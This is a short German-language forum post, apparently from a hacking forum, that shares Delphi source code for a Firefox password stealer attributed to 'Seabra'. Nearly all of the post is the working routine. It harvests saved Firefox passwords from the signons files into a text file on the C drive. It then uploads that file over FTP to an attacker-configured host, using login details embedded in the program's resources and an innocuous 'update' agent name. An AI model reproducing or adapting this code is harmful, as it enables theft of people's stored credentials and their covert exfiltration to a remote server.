FireFox 3 stealer source

[inmate]

Ich habe zwar nicht mit delphi zu tun aber ich dachte ich poste ihn euch mal.
Das ist der source von dem firefox stealer von Seabra der hier letztens gepostet wurde.

begin
// ----------------------------------------- \\
// Criar Ficheiro
assign(pass, 'c:\firefox.txt');
rewrite(pass);
// ----------------------------------------- \\
// Receber Dados Do Cliente
ih := GetResourceAsString(pchar('HOST'), RT_RCDATA);
iu := GetResourceAsString(pchar('USER'), RT_RCDATA);
ip := GetResourceAsString(pchar('PASS'), RT_RCDATA);
// ----------------------------------------- \\
// Converter String a PAnsiChar
ihost:= PAnsiChar(ih);
iuser:= PAnsiChar(iu);
ipass:= PAnsiChar(ip);
// ----------------------------------------- \\
writeln(pass, '=====================================');
writeln(pass, '========== Firefox Stealer ==========');
writeln(pass, '===== HackHound.Org - Visit Us! =====');
writeln(pass, '=====================================');
writeln(pass, ' ');
getffinfos;
GetFirefoxPasswords('signons.txt');
GetFirefoxPasswords('signons2.txt');
GetFirefoxPasswords('signons3.txt');
writeln(pass, ' ');
writeln(pass, '=====================================');
writeln(pass, '======== c0ded By |x Seabra x|=======');
writeln(pass, '=====================================');
close(pass);
ifile:= 'c:\firefox.txt';
iremote:= PC+'_'+Numeros+'.txt';
hopen:= internetopen(pchar('update'), INTERNET_OPEN_TYPE_DIRECT, nil, nil, INTERNET_FLAG_ASYNC);
hConnect := InternetConnect(hOpen, ihost, 21, iuser, ipass, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpputfile(hconnect, pchar(ifile), pchar(iremote), FTP_TRANSFER_TYPE_ASCII, 0);
end.

lG

inmate